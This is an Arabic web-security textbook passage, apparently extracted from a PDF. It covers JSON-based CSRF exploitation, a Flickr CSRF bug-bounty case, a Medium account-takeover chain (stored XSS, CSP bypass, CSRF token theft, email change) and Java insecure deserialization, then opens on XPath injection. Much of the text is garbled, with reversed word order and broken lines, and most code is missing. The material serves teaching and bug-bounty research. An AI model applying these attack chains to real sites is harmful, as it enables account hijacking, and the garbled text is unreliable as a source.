 لم إذا .الممیز الرمز من للتحقق الخادم من اعتراض وإنشاء		،HTTP  طلب إلى عشوائي

 قد نھأ فیعتبر ، صحیح غیر الممیز الرمز محتوى أن أو الطلب في ممیز رمز ھناك یكن
.الطلب ورفض CSRF ھجوم یكون

CSRF  ال یعتبر• Token ال زى  Two-Factor Authentication المستخدم لطلبات 
Firstان حیث Factor ال ھو Cookie و Second Factor ال ھو CSRF Token
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CSRFالحمایة من ثغرات  •
:على جانب المستخدم •

لا تفتح اى لینك غیر موثوق فیھ•
تأكد جیدا من اسم الموقع•

:على جانب الموقع•
لحمایة الموقع Tokenلابد من استخدام •
عباره عن وھى  	token	CSRFتطبیق الویب من ھذا النوع من الھجمات یجب الاعتماد على حمایة ل•

مع  من السیرفر تعتمد على جلسة المستخدم وكلمھ سریھ یتم ارسالھامزوده  	keyبـ 	formالحاق الـ
request	 و یجب ان تعود للسیرفر مره اخرى معresponse	,	  أن بماRequest	  بالكلمھ مزود

MITMالا عن طریق ھجوم صحیح  	tokenالسریھ لن یستطیع المھاجم من تولید 
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 ألا الویب، قاتلتطبی إختراق كمختبرین نقابلھا ما كثیراً  التي الثغرات أحد عن نتحدث سوف•
JSONال ھي و Based CSRF الـ  تعتمد ما  كثیرا  web applications تقنیة  علي 

JSON  ًلمصطلح  اختصارا  JavaScript Object Notation  الطلبات استقبال و  لإرسال 
webال ھذه تكون قد و ، السیرفر إلي و من applications مثل لثغرة  معرضة  CSRF
.ادیةالع الحالات في استغلالھا من تعقیدا أكثر یكون الثغرة استغلال الحالة، ھذه في

:اليالت الطلب اكتشفنا و معین، موقع اختراق باختبار نقوم كنا أننا مثلا لنفترض•
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 	serverالإلي  	testو قیمتھ الجدید  	usernameالو كل ما یقوم بھ الطلب ھو إرسال •
الطلب، مما یسمح لنا بالقیام في  	tokensیكون جلیاً لك انھ لا یوجد أي نوع من انواع القد 

بدون علمھ إذا ما تم زیارة صفحة تحت للضحیة  	usernameتغییر الو  	CSRFبھجمات 
  بالھجوم، و لكن كیف سنقوم بذلكللقیام  	HTMLالخطوة التالیة ھي تحضیر ملف . تحكمنا

.في الحالات العادیة
و المقابل لذلك في 	،parameter=valueقیمھا في صورة و  	parametersیتم إرسال ال•

:التاليھو  	HTMLكود ال

Ahmed	Hashem	El	Fiky



...)تكملھ( CSRFثغرة ال 

فماذا یمكننا 	،{”parameter”:”value“}و لكن في ھذه الحالة ما یرسل ھو في صورة •
؟فعلھ  

:المحاولة الأولى•
طلب مشابھ للطلب السابق، و لكن مع لإرسال  	HTMLیمكننا محاولة التلاعب بكود ال•

:بعض الاختلافات كالآتي
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لل	enctypeو یجب ملاحظة أن قیمة ال	،requestاللعمل  	formالكود السابق یستخدم •
form	  ھي الموجودةtext/plain،	 و ذلك لمنع المتصفح من القیام بعملیةURL	

encoding	  قبل إرسال الطلبللمدخلات.
ھي فیھ  	nameلھ قیمة، و لكن قیمة اللیس  	inputیوجد  	formفي ال•

{“username”:”test”}،	 یة یمكن رؤ(الآن لنرسل الطلب في المتصفح و نري ما یحدث
:)Suite	Burpمثل  	tool	proxyالطلب المرسل عن طریق استخدام أي 

Ahmed	Hashem	El	Fiky



...)تكملھ( CSRFثغرة ال 

المرسل ؟ 	payloadبعد ال= ما الذي تم تحدیداً ؟ و لماذا ھناك علامة •
كـ	Content-Typeتم إرسال الطلب و تحدید ال	،HTMLكود الفي  	formكما حددنا لل•

text/plain،	و كما نري یتم إرسال الpayload	  عمل بدونURL	encoding  لكن تم و
	،inputالفي  	nameكقیمة للالمرسل  	payload، و ذلك لأننا حددنا ال=إرسال علامة 

ثم یتبعھما بقیمة = بعلامة ویتبعھا  	nameو ما یفعلھ المتصفح ھو انھ یأخذ قیمة ال
.و التي ھي فارغة في ھذه الحالة	،valueال

:الآن، یمكن أن نقول أن الھجوم قد نجح حینما یتوفر الشرطین التالیین•
ھي  	header	Content-Typeیقوم بالتأكد من أن قیمة اللا  	application	webال•

application/json
الةفي ھذه الح= القیم الزائدة في محتوي الطلب، مثل علامة الیتجاھل  	parser	JSONال•
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:المحاولة الثانیة•
المعدل  	HTMLلحسن الحظ، ھناك حل أكثر عملیة من الحل السابق، دعونا ننظر لكود ال•

:أدناه
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تسمح لنا بإرسال قیمة بطریقة  	valueالو  	nameفي الكود المعدل قمنا بتغییر قیمة ال•
JSON	 التالي . اجحة، و في نفس الوقت تسمح لنا باستغلال الثغرة بطریقة سلیمة و نسلیمة

:ھذه الحالةفي  	serverللھو الطلب المرسل 

Ahmed	Hashem	El	Fiky



...)تكملھ( CSRFثغرة ال 

؟ماذا تم في ھذه الحالة •
ففي ھذه الحالة 	،valueثم قیمة ال= ثم  	nameكما ذكرنا سابقا، المتصفح یرسل قیمة ال•

في ” ,“إضافة علامة عبر  	ignorableكل ما فعلناه ھو أننا أضفنا قیمة زائدة إسمھا 
، ھذه الطریقة لا تعمل في كل الحالات=. المرسل، و قیمتھا في ھذه الحالة ھي 	JSONال

مسموحة  	serverللطلب المرسل للجدیدة  	parametersحیث أنھ یجب أن تكون إضافة 
من ناحیة متجاھلة  	parametersو أن تكون قیمَ ھذه ال	،application	webمن قِبلَ ال

.code	backendال
	،XMLHttpRequestلعلك الآن تفكر في القیام بنفس الھجوم و لكن عن طریق إستخدام •

علي الكود لیحتوي  	HTMLالسنقوم بتعدیل كود . لنتطرق لھذا الأمر و نري ما سیحدث
:الآتي
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:بالتاليیقوم  	Javascriptفي ھذه الحالة تمت كتابة كود •
ھو ببساطة ما یقوم 	objectھذا ال	،xhrإسمھ و  	XMLHttpRequestنوعھ جدید  	objectخلق •

ً 	serverبإرسال الطلب لل لاحقا
و في ھذه 	،trueل 	withCredentialsیدعي 	attributeطریق تغییر قیمة عن  	xhrتعدیل •

بالموقع المصاب مع الطلب المرسلالخاصة  	cookiesالحالة سیتم إرسال ال
المذكور 	URLلل 	POSTلإرسال طلب 	openإستخدام دالة •
حتي  application/jsonقیمتھ و  	Content-Typeإسمھ للطلب  	header	requestإضافة •

یتم تقلید الطلب الأصلي بدقة
	JSONل 	payloadلإرسال الطلب فعلیاً عن طریق تحویل ال	sendو أخیرا، إستخدام دالة •

object	 عبر إستخدام دالةJSON.stringify	  تمریر الثمpayload	  لدالة الناتجsend	 السابق
ذكرھا
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نفتح الصفحة ن سلآأخیرا، یتم إرسال الطلب اوتوماتیكیاً حین فتح الصفحة في أي متصفح، ا•
:نتمكن من رؤیة الطلب المرسلحتي  	proxyأي أداة أو  	Suite	Burpو نستخدم 
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؟	POSTمن طلب بدلاً  	OPTIONSماذا تم إرسال طلب •
	،XMLHttpRequestالمتصفحات الجدیدة باستخدام في  	method	requestحینما یتم إرسال طلب بأي •

إرسال طلب یتم  	text/plainإذا لم تكن تساوي 	،header	Content-Typeیتم التأكد أولاً من قیمة ال
OPTIONS	  الطلب الأصلي، یعرف ھذا النوع من الطلبات بقبلpre-flight	requests،	 ًو یتم عادة

.ھذا الطلببإرسال  	Originھذا السیاق یسمي في كمرحلة من مراحل التأكد من جدارة الموقع 
	Access-Control-Allow-Originالعلي  	request	pre-flightالعلي  	serverإذا احتوي رد ال•

header	  أي بمعني * كانت قیمتھ ھي وOrigin  كانت قیمتھ ھي الأوdomain	  للالمرسلpreflight-
request	  حالتنا ھو فيnull	  ذلك لأننا أرسلناه من الكمبیوتر الشخصي لدینا ولیس من وserver،	 یتم

.یتم تجاھل الطلب الأصلي إن لم تكن ھذه ھي الحال. إرسال الطلب الأصلي فقط في ھذه الحالة
فماذا إذاً یمكننا أن نفعل إذا لم یكن الرد ھو الرد المطلوب ؟•
	header	Content-Typeال كما فعلنا في المثال السابق، في ھذه الحالة یجب إرسال الطلب بعد تغییر •

المذكور  	headerإرسال الطلب مجدداً، الصورة التالیة ھي للطلب بعدما غیرنا الثم  	text/plainإلي 
 ً :مسبقا

Ahmed	Hashem	El	Fiky



...)تكملھ( CSRFثغرة ال 

Ahmed	Hashem	El	Fiky

pre-flight  إرسال بدون و أردنا  كما POST  طلب إرسال تم ، نرى كما
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الصورلتغیر تفاصیل 	Flickrفي 	CSRFثغرة •
	Yahooوحین كنت أبحث عن برامج الجوائز صادفني أن شركة یاھو  2014عام في •

من 	Flickrضمن برامج الجوائز الخاصة بھم حیث یعُتبر وتطبیقاتھ  	Flickerتضع موقع 
لا شيء ھو أشھر مواقع مشاركة الصور في العالم لذا تحدي نفسي لابحث فیھ على ثغرات ف

ومع خبراتي القلیلة ببرامج للجوائز سابقاً % 100محمي 
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 أبحث أن أحب انا ، مستخدم ملیون 87  ویملك PHP  یستخدم وجدتھ الموقع حول التحري بدات لذا•
 في علیھا مرتكزة الموقع ومھمة مھمة تكون لانھا اجلھا من مصمم الموقع یكون التي الأمر عن
XSS عن بالبحث بدأت حیث الصور فھي Flickr حال ,CSRF,permission bypass .

 طلب كل في یدخل ممیز متغیر ھيCSRFل Flickr  لموقع المطبقة الحمایة ان وجدت البحث بعد•
HTTPال في ولیس الصفحة طریق عن HEADER اسمھ  وكان  magic_cookie كل في  حیث 

magic_cookieال  مطابقة خلال من صحتھ من الموقع ویتاكد الطلب مع ادخالھ یتم طلب
 فحاتص من الطلبات ادخال یمنع وبھذا السیرفر في الموجود مع والصفحة الطلب في الموجود

اخرى
 الذي فحةالص في عشوائي رقم تولید یتم حیث المواقع اغلب في المستخدمة المیكانیكیة ھي ھذه•

 نفس من یاتي بالفورم الخاص الطلب ان من للتاكد الطلبات في ادخالھ  ویتم FORMS  بھا یوجد
. الصفحة

.) الخ.. ,الرفع, الحذف , التعدیل( في خلل اكتشف ان وحاولت الطلبات في البحث بدات وبذلك•
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الخطوات•
).لیس النسخة الحدیثة(اول ما قمت بھ ھو رفع صورة عن طریق الموقع الاساسي •
خرى تم رفع الصورة وبعدھا یطلب منك وضع عنوان او اي تفاصیل عن طریق صفحة ا•

.) تم تغیرھا(
:وبعد ان تضع عنوان وتفاصیل سوف یكون الطلب كالاتي  •
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. ممیز MD5 عن عبارة magic_cookie ان الطلب من لاحظت•
 رالسیرف ان من التاكد اجل من اطالتھ او تقصیره او اخرى قیم الى بھ اغیر ان حاولت•

 بدون رةالصو صفحة الى الصفحة تحویل یتم كان محاولات عدة وبعد الصفحة مع یطابقھ
المحتوى على تغیر اي

ال  بتغیر واقوم والتفاصیل الصورة كاسم للمتغیرات جدیدة قیم بادخال اقوم كنت•
magic_cookie الثغرة فان بالصورة الخاص المحتوى تغیر وتم الطلب تم اذا الطلب  في 

مصابة غیر الصفحة ان یعني شيء تغیر یتم لم اذا اما نجحت
 لي طلب اول  في magic_cookie  مسحت فقد ساعة ربع ظرق في كان بھ قمت ما كل•

 لصورة  لیست id  قیم وضعت اني انتبھت ولكن المحتوى تغیر في یفلح لم الوضع لكن
 وتغیر الطلب وارسلت فارغة  وتركتھا magic_cookie  قیمة وسمحت عدت لذلك املكھا

!!!!! الصورة محتوى
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..لشركة یاھو لاقدمھ  	POCلذلك قمت بعمل سكربت بسیط ك •
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بضغطة واحدة Mediumحساب اختراق : مقال •
فجاة دخلت السلام علیكم ، قبل یومین من الأن كنت ابحث في كوكل عن بعض البایلودات الجدیدة و•

!؟الصفحة بدون ان اقوم باي شيء في  	XSSتم تشغیل باي لود فجاة  	mediumعلى موقع 
من دون  بعد البحث وجدت ان الصفحة تحتوي على كود جافا سكربت یقوم بقراءة أسم الموضوع•

.فلترة ولكن الطول محدود لأسم الموضوع 
الى ثغرة إختراق الحساب بضغطة واحدة للرابط والیوم محدودة  	XSSقمت بتطویر الثغرة من •

سأشرح خطوات السلسلة وھو أمر مھم بالإختراق بتطویر الثغرة من ذات خطورة عادیة الى 
.خطورة أكبر عن طریق سلسلة من الأستغلالات 

• 
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البدایة•
ملت في بدایة الأمر بعد ان عرفت أین یكون حقن البایلود عملت حساب في الموقع وع•

.موضوع جدید بإسم الباي لود لكي نجربھ 

Ahmed	Hashem	El	Fiky



...)تكملھ( 	CSRFثغرة ال 

:وبعد الدخول للصفحة تم تنفیذ الباي لود كالأتي •
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XSSریق تم تنفیذ الباي لود بنجاح لكن نرید ان نعمل إستغلال أقوى وأكثر خطورة عن ط•
القیام یمكننا  	Tokenبعد البحث وجدت ان الإیمیل یتغیر بدون باسورد لذلك اذا سرقنا •

.لإیمیل المھاجم بدون ان یعرف الضحیة وتغییر الإیمیل  	CSRFبطلب 
مشاكل واجھتني •
 الطول الخاص بالموضوع محدود وحتى اذا وضعت إسم موضوع طویل لن یتم إظھار إلا•

.بعضھ 
ن وثیقة نفس المصدر لا یمكن ان نقوم بطلب موحسب  	PUTطلب تغیر الإیمیل یعمل على •

.صحیحاً  	tokenخارج الصفحة حتى لو كان 
.قوي على المصادر الخارجیة سنشرحھ الأن شبھ  	CSPوجود •
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مكان الحقن یسمح بطول معین لذلك ستقوم وكان  	XSSبعد ذلك لو كنت تملك ثغرة •

:من خارج الموقع وكالأتي 	JSبإستدعاء ملف 
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        على ویحتوي .  السیرفر خارج منJS  ملف حقن الى الموضوع إسم غیرت قد الصورة في•

alert(1337)x یجب الموقع شغلنا الأن  لو  ً  لو لكن .  1337  على یحتوي نص صندوق یظھر ان أیضا
 خارج  من JSملفات  تشغیل تمنعCSP  وجود بسبب .  ؟!؟ لماذا ؟!  لود الباي یعمل لن الأن الصفحة شغلت
. الموقع

	؟CSP ھي ما•
•CSP ل مختصر  ھي  Content Security Policy إرشاد بتحدید ووظیفتھا المحتوى أمن وثیقة  ومعناھا

 الحالات ثرأك في .  السكربتات او الصور او الخطوط مع ومصدره المحتوى تشغیل بكیفیة للمتصفح ات
 ھذه في لكن صعب الأحیان بعض في  الأمر CSPتتخطى  لم ما تشغیلھا تستطیع  لن XSS  وجدت لو حتى
 لكن فحةالص نفس في تشغیلھ تم الاول الكود بحیث .  اعدادھا في خطأ لوجود تخطیھا علي سھلاً  كان المرة
 محمي یرغ الصفحة في فالحقن لذلك .  بالرفض یقوم سوف السیرفر خارج من سكربت نستدعي حین

 یتم  لم mediumموقع  في الصفحة في تشیغلھ یجب ما تحدد عشوائیة عبارة او رقم  وھو nonceب
. الصفحة في سكربت اي تشغیل فیمكن nonce تحدید

hack مؤتمر في ذكره تم قد شائع خطأ وھذا• in the box الأمنین وجلج مھندسین من اثنین بواسطة .
. تخطي حصول في السبب عن یتكلم الذي السلاید ھذا السلایدات ومن•
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في الصورة 	Mediumبموقع الخاصة  	CSPوكانت•
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  -unsafeالاصفر لاحظوا انھ تم استخدام باللون  	headerالتخطي تم عن طریق وجود ال•

inline		  ام بالعمل في نفس الصفحة لو كان تم استخدسكربت تسمح لجافا والتيnonce	
.لكان من الصعب جداً ولیس المستحیل جعل الاستغلال یعمل 

تجمیع الافكار •
طرح بعد ان جمعت المعطیات الان لنبدأ بعمل الاستغلال الصحیح وكل فكرة سنقوم ب•

:المعطیات وحلھا كما یاتي 
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كتابة الاستغلال •
املاً كبعد ان قمنا بجمع المعلومات الان سنستعمل الجافا سكربت لكتابة الإستغلال •
الایمیل لتغیر  	CSRFلعمل طلب  Tokenال یجب ان نقوم بسرقة : اولاً •
.احدى وسوم السكربات في  	xsrfTokenباسمموجود في الصفحة  Tokenال •
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من العمل قمت لنتأكد  	alertبرسالةوتخرجھ  Tokenال عن  ثتبحلذلك سنقوم بعمل دالة •
:ببرمجة الدالة وكالأتي 
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 عضب سنشرح لكن تنفیذه سیتم الكود كان اذا لنجرب  عادي html  ملف في السكربت ھذا•
 وسم طریق عن الكود تنفیذ یتم حینJS  لغة یعرف من على الفھم سھل سیكون خصائصھ
IMG فيONERROR كلمة على الحالیة الصفحة نص في بالبحث السكربت یقوم  سوف 

xsrfToken الكلمة طول حسب مرتبة 12ب الكلمة ھذه بعد ما بقراءة بعدھا  ویقوم 
ال  طول یحسب ثم ومن الصفحة نھایة الى )فقط  Tokenال  إظھار یتم حتى(  والفوارز
Token  ع نحصل تشغیلھ وبعد .  الباقي واھمال فقط حرف 16  باظھار فیقوم 16  ھو الذي

: لى
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وف نقوم ھذا الكود طویل س. الإستغلال الأولي یعمل بشكل صحیح الأن لنجربھ في الموقع •
.بعمل قراءة لھاش الصفحة وتحمیلھ علیھ 

الطویلذ الكود لنقم بتسیمة الموضوع بالباي لود الأتي لیقوم بقراءة ھاش الصفحة ثم تنفی•

وم بعمل كتابة للكود الجدید في الصفحة الحالیة ثم یق		document.writeسوف یقوم •
الخاص بالرابط عن طریق 	encodeالبتعدیل المحتوى من 

decodeURIComponent		  لقراءةwindow.location.hash	  ھو ھجوم وھذا
DOM	based	XSS	 یمكنك الاطلاع علیھ . سابق فصل قد شرحناه سابقاً في.
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بقراءة یقوم  	XSS	storedسیبقى ھذا السكربت مخزن في قواعد البیانات لذلك سیكون •
الصفحة  الأن نقوم بتحمیل السكربت على ھاش.الرابط في كل مرة بدون الحاجة الى تجدیده 

:الرابط كالاتي# بعد 
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Tokenال بعد الدخول على الرابط سیتم اظھار •
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ال تخدام الان نقوم بعمل السكربت الذي سیقوم بارسال طلب تغیر الایمیل مع اس: ثانیاً •
Token  الصفحةالذي وجده في
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 	abdullah.test1@gmail.comالایمیل الى لتغیر  	PUTالأن سیقوم ھذا السكربت بعمل طلب •

لنرى اذا تم المتصفح  	consoleبوضع السكربت في الھاش بعد الضغط على الرابط سنفتح نقوم 
ارسال الطلب بعد الضغط على الرابط
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ومعناه  	ok 200الایمیل وتم الحصول على لتغیر  	me/emailالىبالفعل تم إرسال طلب •

الایمیللنذھب لنرى . ان التغیر قد تم 

 رسالة على الحصول تم•
وعمل الدخول بمجرد التغیر

سوف المرور كلمة نسیت 
الحساب على نحصل 
. بالكامل 
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 الاستنتاج•
.جداً مھم  	CSPفي  	nonceاستعمال•
	CSRFلتجنبالایمیل تغیر یجب وضع تاكید باسورد على •
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الخلاصة

 ربتج او الصندوق خارج تفكر ان بمجرد ممكن محترف مخترق الف قبلك كان لو حتى•
 یجب انھ الى بالاضافة .  منك افضل ھو من یجدھا لم التي الثغرة تجد سوف ”منطقیة“  اشیاء

ً  وتحلیلھ واستقبالھ ارسالھ یتم طلب كل الى الانتباه ً  ثم منطقیا .تقنیا
 الاخیر ارفالقر ثغرتك قبول عدم او فھم سوء حال في تغضب ولا باحتراف تعمل ان ویجب•

.كاملة افیةوشف باحترافیة المشكلة مع تعامل محترف تویتر فریق ان وبما للفریق یعود
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Deserialization	Insecureثغرة ال 

:لبرمجةا لغات في مُھمّین مفھومین لفھم بحاجة نحن الثغرة، ھذه تفاصیل في الخوض قبل•

•Object Serialization
•Object Deserialization
•Object Serialization

 أي (  ملف في حفظھا بالإمكان Bytes  الـ ھذه ثم ومن		،Bytes  إلى Object  الـ تحویل عملیة ھي•
 خرآ تطبیق إلى الشبكة عبر تمریرھا أو بیانات، قاعدة في أو		،  )Object  الـ بھذا الخاصة الحالة حفظ

الشبكة بروتوكولات أحد بإستخدام

•Object Deserialization
 أو ملف، من قراءتھا یتم Bytes  شكل على مُمثلة بیانات لدینا أي السابقة، للعملیة العكسیة العملیة ھي•

 الـ كولبروتو مثل البروتوكولات أحد طریق عن الشبكة عبر استقبالھا یتم قد أو بیانات، قاعدة
HTTP الـ ھذه تحویل یتم ثم ومن Bytes الـ الأولى صورتھا إلى Object
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:الصورة التالیة تلخص العملیتین•

ذین المفھومین ھذا بالنسبة للجانب النظري، نأتي الآن للجانب التطبیقي ونأخذ المثال التالي على ھ•
في لغة جافا
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•Object	Serialization	in	Java

لتعُالج في  	Bytesإلى  		Objectsفي لغة جافا إذا أردنا تطبیق ھذا المفھوم وتحویل الـ•
:التالي  		interfaceللـ 		implementsطرف آخر، فیجب علینا عمل 

•Serializable

للـ  		implementوالذي یقوم بعمل  		Itemكما یظھر في الكود التالي، تم تعریف كلاس•
Serializable	 ) 5السطر(
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 إلى Object    الـ ھذا تحویل ثم ومن Item  كلاس من Object  أي تعریف بإمكاننا الآن•
Bytes stream

 بتعریف قمنا main  الـ دالة وفي		،Serialize  كلاس بتعریف قمنا التالي الكود في•
Object كلاس من Item )10 السطر (

(  s1  الـ محتوى لكتابة FileOutputStream  من Object  بتعریف قمنا :  12  السطر•
data.ser یسمى ملف في )Bytes صورة في

 ھذه لھا، s1  الـ تمریر وتم writeObject  الدالة بنداء قمنا السطر ھذا في :  14  السطر•
 الـ عملیة تحدث ھنا(  Bytes  إلى Objectبالـ الخاصة الحالة بتحویل ستقوم الدالة

Serialization(
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•The	Java	serialized	object

والذي یحتوي  	data.serللكود السابق سیكون المخرج لدینا ملف  		Compileبعد عمل •
Bytesلكن في صورة  		Itemمن كلاس  		Objectعلى الـ 

سنجد أن الأداة تطبع لنا  	data.serللإطلاع على نوع ملف  	fileلو قمنا بإستخدام أداة •
:الناتج الآتي 
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سنجد  hexdumpباستخدام أداة  	Hexفي صورة  	data.serولو قمنا بقراءة محتوى ملف•
aced: أن محتوى الملف یبدأ بھذه القیمة 

سیظھر لنا المُخرج الآتي  		Base64ولو أردنا الإطلاع على المقابل لھذه القیمة في التمثیل •
:
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ماذا نستفید من ھذه المعلومات؟•

:الآتي  	Signatureیحمل الـ  	Object	Serialized	Javaیكفي أن نعرف إلى الآن أن الـ •

aced	:		Hexفي التمثیل •

rO0AB	:		Base64في التمثیل •

لكن بصورة مقروءة  	Objectفي المقابل، ماذا لو أردنا الإطلاع على محتوى ھذا الـ•
ومفھومة لنا أكثر؟

	Object	Serialized	Javaلحُسن الحظ قام أحد الباحثین بتطویر أداة تمُكّننا من قراءة الـ •
وھذه الأداة ھي 	،	Base64أو الـ  	Hexبشكل أكثر وضوحًا بدلاً من قراءتھ بالـ 

 :SerializationDumper
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data.serالصورة الآتیة توضح إستخدام ھذه الأداة والمُخرج من قراءة محتوى ملف الـ •
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	Serialized( وتحلیل الناتج النھائي من ھذه العملیة  		Serializationبعد الخوض في مفھوم الـ •

Object	 ( لننتقل الآن للعملیة العكسیة المقابلة لھا ، الـDeserialization

•Object	Deserialization	in	Java

Deserializationوالذي سنطبق فیھ مفھوم الـ  		Deserializeفي الكود التالي قمنا بتعریف كلاس •
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 و FileInputStream  الـ طریق عن data.ser  ملف محتوى بقراءة قمنا  :    10  السطر•
ObjectInputStream

 العائدة القیمة حفظ سیتم ثم ومن Item  كلاس من Object  بتعریف قمنا :   11  السطر•
object الـ ھذا في readObjectدالة من

 ھو والذي(  data.ser   ملف محتوى بقراءة ستقوم readObject  دالة :أخرى وبعبارة•
 Object  الأولى صورتھا إلى إرجاعھا سیتم Bytesالـ ھذه ثم ومن )Bytes  عن عبارة

)Deserialization الـ عملیة تحدث ھنا(

Insecure  الـ ثغرة لفھم اللازمة المعرفة نملك نحن الآن• Deserialization ولماذا 
تحدث؟

المقالة من التالي الجزء في الثغرة ھذه تفاصیل لمناقشة ننتقل•

Ahmed	Hashem	El	Fiky



...)تكملھ( Deserialization	Insecureثغرة ال 
•Insecure Deserialization
 بالبیانات والتلاعب التحكّم المخترق بإمكان یكون عندما الثغرات من النوع ھذا یحدث :  جداً مُختصر بشكل•

Deserialize لھا عمل یتم التي
.. أكثر لنفصّل•

Bytes صورة إلى وتحویلھا حالتھ حفظ تم الذي Object الـ ھنا بالبیانات نقصد•
: تطبیقین لدینا كان لو المثال سبیل فعلى•

 المُخرَج بإرسال یقوم ثم ومن Object  الـ على Serialization  الـ عملیة بتنفیذ یقوم :  الأول التطبیق•
الثاني التطبیق إلى الشبكة عبر النھائي

Deserialization الـ عملیة علیھا یجري ثم ومن البیانات ھذه یستقبل : الثاني التطبیق•
 الـ ةعملی لتنفیذ یعالجھا التي البیانات سلامة من بالتأكد الثاني التطبیق یقم لم إذا :  المشكلة•

Deserialization الـ ثغرة تحدث فھنا بھا والتلاعب البیانات ھذه إعتراض المخترق بإمكان وكان 
Insecure Deserialization !
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التدریب على ھذه الثغرة وتحلیل ھذا التطبیق البسیط الذي یحاكي ھذه المشكلة•

•java-deserialize-webapp

:للتطبیق كالآتي  	Runبدایةً نقوم بعمل•

127.0.0.1:8000:ومن ثم نستطیع تصفح التطبیق عبر المنفذ التالي •
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لھا بدون  	Deserializationالتطبیق سیقوم بإستقبال البیانات التي نمررھا لھ ومن ثم سیقوم بعمل •
التأكد من سلامتھا،

سیط جداً یؤكد بإمكاننا إستغلال ھذه المشكلة بطرق عدةّ، لكن في ھذا الفصل سنقوم ببناء إستغلال ب•
لنا أن التطبیق مُصاب بالفعل

•DNS	Resolution	Exploit
:فكرة الإستغلال •

إلى التطبیق المصاب، 	Object	Serializedنقوم بتمریر •

سیتیح لنا تنفیذ الأوامر التي  	Deserializationخلال عملیة الـ  	Object	Serializedوھذا الـ •
نریدھا،

لدومین خاص بنا 	query	DNSفي ھذا الاستغلال سنجعل التطبیق المصاب یقوم بعمل •
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	DNSالتي سنقوم بإرسالھا للتطبیق المصاب، سنقوم باستخدام  		payloadقبل بناء الـ •

Proxy

:الغرض من ھذه الخطوة •

		payloadالصادر من التطبیق المصاب، حتى نتأكد بأن الـ  	request	DNSإعتراض الـ•
لھا بشكل سلیم 	Runالتي قمنا بإرسالھا تم عمل 

• 
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:بإستخدام ھذه الأداة  كالآتي  		Object	Serializedأو الـ		payloadالآن سنقوم ببناء الـ •

		SerializationDumperبإمكاننا الإستعانة بأداة الـ  	Object	Serializedبعد بناء الـ •
ھذه الخطوة للتحلیل ( وفھم محتواه  	Objectالتي قمنا بالإطلاع علیھا سابقاً لتحلیل ھذا الـ 

)Base64للأداة ولم أقم بتمریر  		data	rawفقط، ولاحظ بأني قمت بتمریر 

Ahmed	Hashem	El	Fiky



...)تكملھ( Deserialization	Insecureثغرة ال 

Ahmed	Hashem	El	Fiky



...)تكملھ( Deserialization	Insecureثغرة ال 

إلى التطبیق 	payloadالآن نقوم بإرسال الـ •

Ahmed	Hashem	El	Fiky



...)تكملھ( Deserialization	Insecureثغرة ال 

	Deserializationنلاحظ أن التطبیق یخبرنا بأن عملیة الـ  	payloadبعد إرسال الـ •
نجحت

Ahmed	Hashem	El	Fiky



...)تكملھ( Deserialization	Insecureثغرة ال 

query	DNSسنجد أن التطبیق المصاب بالفعل قام بعمل  		Proxy	DNSولو عدنا إلى الـ •

Ahmed	Hashem	El	Fiky



تم بحمد الله انتھاء الفصل الخامس

Ahmed	Hashem	El	Fiky



الفصل السادس 
Injection	XPathثغرة ال 

Ahmed	Hashem	El	Fiky

المؤلف
أحمد ھاشم الفقي /م.د

المعلومات و التحول الرقمياستشارى أمن 
comoutlook.ElFiky@Hashem.Ahmed.



Injection	XPathثغرة ال 

XPath   ثغرة تفاصیل في الخوض قبل • Injection الـ ھو ما أولاً  لنعرفXPath في 
الأساس؟

Query  عن عبارة XPath  الـ • Language ةالمخزن البیانات بعض لجلب استخدامھا یتم 
XML في Document

.. أكثر الآن فیھ لنفصّل وجمیل، مختصر تعریف•
XML   ـال استخدام یتم )البسیطة التطبیقات الغالب في(  الویب تطبیقات بعض في•

Documents و حیات،الصلا وبیاناتھم، المستخدمین أسماء :  مثل البیانات بعض لتخزین 
 قائمة رضیع ویب تطبیق المثال سبیل على ، التطبیق یخدمھا التي البیانات من نوع أي

 ..  الإصدار ، اتبالك ، النشر تاریخ (  كتاب كل وتفاصیل الكتب قائمة تخزین یتم قد بالكتب،
XML  ملف في ) إلخ

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XPathثغرة ال 

د من وجود لاب) عرضھا للمستخدم مثلاً ( حتى یستطیع تطبیق الویب معالجة ھذه البیانات •
XMLآلیة تمُكّن تطبیق الویب من جلب البیانات المخزنة في ملفات الـ 

على البیانات  	Queryالتي تتیح لنا الوصول وتنفیذ  -إن صح التعبیر-ھي اللغة  	XPathالـ •
XMLالمخزنة في ملفات الـ 

•XPath	Injection
یتم بناءھا  	query	XPathیحدث ھذا النوع من الثغرات عندما یقوم تطبیق الویب بمعالجة •

یم، یأتي من المستخدم، وھذا المُدخَل لا یتم معالجتھ بالشكل السل 	inputبناءً على مُدخَل 
التي  	query	XPathبالتالي قد یقوم المخترق بإستغلال ھذا الخطأ البرمجي والتحكم بالـ 

یتم تمریرھا للتطبیق،
:لنأخذ الكود التالي كمثال على ھذه الثغرة•

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XPathثغرة ال 
دم، تحدیداً الصفحة التي تعرض بیانات المستخ	،		II	Mutillidae	OWASPالكود خاص بـ •

mutillidae/user-info-xpath.php: /تستطیع إیجادھا في ھذا المسار 

المُسمّاه  	Nodeالتي تقوم بالبحث في الـ   	query	XPathیتم بناء الـ :   1السطر رقم •
Employee	  وتمرّر لھا قیمتین ، إسم المستخدمUSERNAME	  وPASSWORD	،	 ھذه

 		Parameters	URLالقیمتین یقوم المستخدم بإدخالھا، وتمُرّر لتطبیق الویب عبر الـ 
:كالتالي 

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XPathثغرة ال 

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XPathثغرة ال 

ھنا  	queryمع الـ  	Request	HTTPیتم دمج القیم القادمة من الـ :  3وَ   2السطر رقم •
!مصدر الخَلل ، لم یتم معالجة المدخلات بالشكل السلیم

Queryیقوم ھذا السطر بتنفیذ الـ :  4السطر رقم •

:لنأخذ مثال آخر•
:علیھ كالآتي  	query	XPathالذي سیتم تنفیذ الـ  		XMLملف الـ •
•

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XPathثغرة ال 

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XPathثغرة ال 

:التي تقوم بإسترجاع جمیع الإیمیلات ستبدو كالتالي  	XPathتعلیمة الـ  •

:ستكون التعلیمة كالتالي  	Dawesولو أردنا عرض البیانات الخاصة بالمستخدم •

بناءً على اسم  		card	creditالآن لنفترض أن تطبیق الویب سیقوم بعرض بیانات الـ •
